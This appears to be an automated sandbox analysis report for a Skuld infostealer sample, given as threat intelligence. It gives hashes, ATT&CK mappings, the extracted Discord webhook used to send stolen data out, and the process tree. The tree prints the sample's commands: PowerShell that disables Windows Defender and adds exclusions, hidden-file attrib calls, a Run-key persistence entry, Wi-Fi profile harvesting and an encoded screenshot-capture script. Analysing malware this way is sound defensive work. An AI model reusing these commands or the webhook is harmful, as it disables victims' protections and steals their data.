skuld | fa68fb7b9b57f1ad358e829acee0b7db926d78a5f5a4434837fa96b4653c2cb7

Resubmissions

28-06-2024 17:28

240628-v2b86szhpn 10

28-06-2024 17:28

240628-v1zyvaxdpe 10

Analysis

max time kernel
5s
max time network
13s
platform
windows10-1703_x64
resource
win10-20240611-en
resource tags

arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
submitted
28-06-2024 17:28

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General

Target

main.exe
Size

9.5MB
MD5

0577222f4607d307dbd8e296bfba4bcc
SHA1

cc99671a69c02c65a9e65683215eff9ec4bccf24
SHA256

fa68fb7b9b57f1ad358e829acee0b7db926d78a5f5a4434837fa96b4653c2cb7
SHA512

709cdbf8ac69d1aa0b4cdaf390278e15d71e07f8df2557f5c143580917ae23060b307f8c197e5fb7c49071ecdad63f6226da9bd510069a6c36a0ba70ed3e9dab
SSDEEP

98304:bV5Y4P6vQBpwXgOlx8UJEZMFdEMaMFQvpI3:sW6vQ8d8UJE+FOMKpI3

Score

10^/10

skuld execution persistence stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1255141785198526518/HbSOi96D9xFWcHRfLUc1hVxDYiJ62EQpodIyKyp_rqp3Dh_0SCxyj3iTrpm92a_OBpFr

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5096	powershell.exe
2832	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	main.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	discord.com
9	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org
2	api.ipify.org
4	ip-api.com

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3512	wmic.exe
2428	wmic.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	main.exe
Token: SeIncreaseQuotaPrivilege	3700	wmic.exe
Token: SeSecurityPrivilege	3700	wmic.exe
Token: SeTakeOwnershipPrivilege	3700	wmic.exe
Token: SeLoadDriverPrivilege	3700	wmic.exe
Token: SeSystemProfilePrivilege	3700	wmic.exe
Token: SeSystemtimePrivilege	3700	wmic.exe
Token: SeProfSingleProcessPrivilege	3700	wmic.exe
Token: SeIncBasePriorityPrivilege	3700	wmic.exe
Token: SeCreatePagefilePrivilege	3700	wmic.exe
Token: SeBackupPrivilege	3700	wmic.exe
Token: SeRestorePrivilege	3700	wmic.exe
Token: SeShutdownPrivilege	3700	wmic.exe
Token: SeDebugPrivilege	3700	wmic.exe
Token: SeSystemEnvironmentPrivilege	3700	wmic.exe
Token: SeRemoteShutdownPrivilege	3700	wmic.exe
Token: SeUndockPrivilege	3700	wmic.exe
Token: SeManageVolumePrivilege	3700	wmic.exe
Token: 33	3700	wmic.exe
Token: 34	3700	wmic.exe
Token: 35	3700	wmic.exe
Token: 36	3700	wmic.exe
Token: SeIncreaseQuotaPrivilege	3700	wmic.exe
Token: SeSecurityPrivilege	3700	wmic.exe
Token: SeTakeOwnershipPrivilege	3700	wmic.exe
Token: SeLoadDriverPrivilege	3700	wmic.exe
Token: SeSystemProfilePrivilege	3700	wmic.exe
Token: SeSystemtimePrivilege	3700	wmic.exe
Token: SeProfSingleProcessPrivilege	3700	wmic.exe
Token: SeIncBasePriorityPrivilege	3700	wmic.exe
Token: SeCreatePagefilePrivilege	3700	wmic.exe
Token: SeBackupPrivilege	3700	wmic.exe
Token: SeRestorePrivilege	3700	wmic.exe
Token: SeShutdownPrivilege	3700	wmic.exe
Token: SeDebugPrivilege	3700	wmic.exe
Token: SeSystemEnvironmentPrivilege	3700	wmic.exe
Token: SeRemoteShutdownPrivilege	3700	wmic.exe
Token: SeUndockPrivilege	3700	wmic.exe
Token: SeManageVolumePrivilege	3700	wmic.exe
Token: 33	3700	wmic.exe
Token: 34	3700	wmic.exe
Token: 35	3700	wmic.exe
Token: 36	3700	wmic.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4640 wrote to memory of 5068	4640	main.exe	71
PID 4640 wrote to memory of 5068	4640	main.exe	71
PID 4640 wrote to memory of 3700	4640	main.exe	72
PID 4640 wrote to memory of 3700	4640	main.exe	72
PID 4640 wrote to memory of 3816	4640	main.exe	73
PID 4640 wrote to memory of 3816	4640	main.exe	73

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5068	attrib.exe
3816	attrib.exe
3324	attrib.exe

C:\Users\Admin\AppData\Local\Temp\main.exe
"C:\Users\Admin\AppData\Local\Temp\main.exe"
1⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\main.exe
  2⤵
  - Views/modifies file attributes
  PID:5068
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3700
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:3816
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\main.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5096
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:4592
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:3416
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2428
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  PID:4528
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2832
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Views/modifies file attributes
  PID:3324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
99860a8339a72efebd7e8bb0b8947162

SHA1
5ebe5ac2b853664aa9f6bda2f85ce7a405599b67

SHA256
c820a976f380c976b76d4881a8690f5c0f52bf48b95492a37dee45f298bfd803

SHA512
96d3501af5e73646649f369ae8b62cd22386b641c6a5c6db65d0f714961152c2d693c994f8773bce5b85698546a0ebb80078bb8dcb66b4caf79294d157ca76b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1esqpq4y.nso.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.5MB

MD5
0577222f4607d307dbd8e296bfba4bcc

SHA1
cc99671a69c02c65a9e65683215eff9ec4bccf24

SHA256
fa68fb7b9b57f1ad358e829acee0b7db926d78a5f5a4434837fa96b4653c2cb7

SHA512
709cdbf8ac69d1aa0b4cdaf390278e15d71e07f8df2557f5c143580917ae23060b307f8c197e5fb7c49071ecdad63f6226da9bd510069a6c36a0ba70ed3e9dab

Download Submit
memory/5096-7-0x000002BAAB2A0000-0x000002BAAB2C2000-memory.dmp

Filesize
136KB

Download
memory/5096-10-0x000002BAAB450000-0x000002BAAB4C6000-memory.dmp

Filesize
472KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads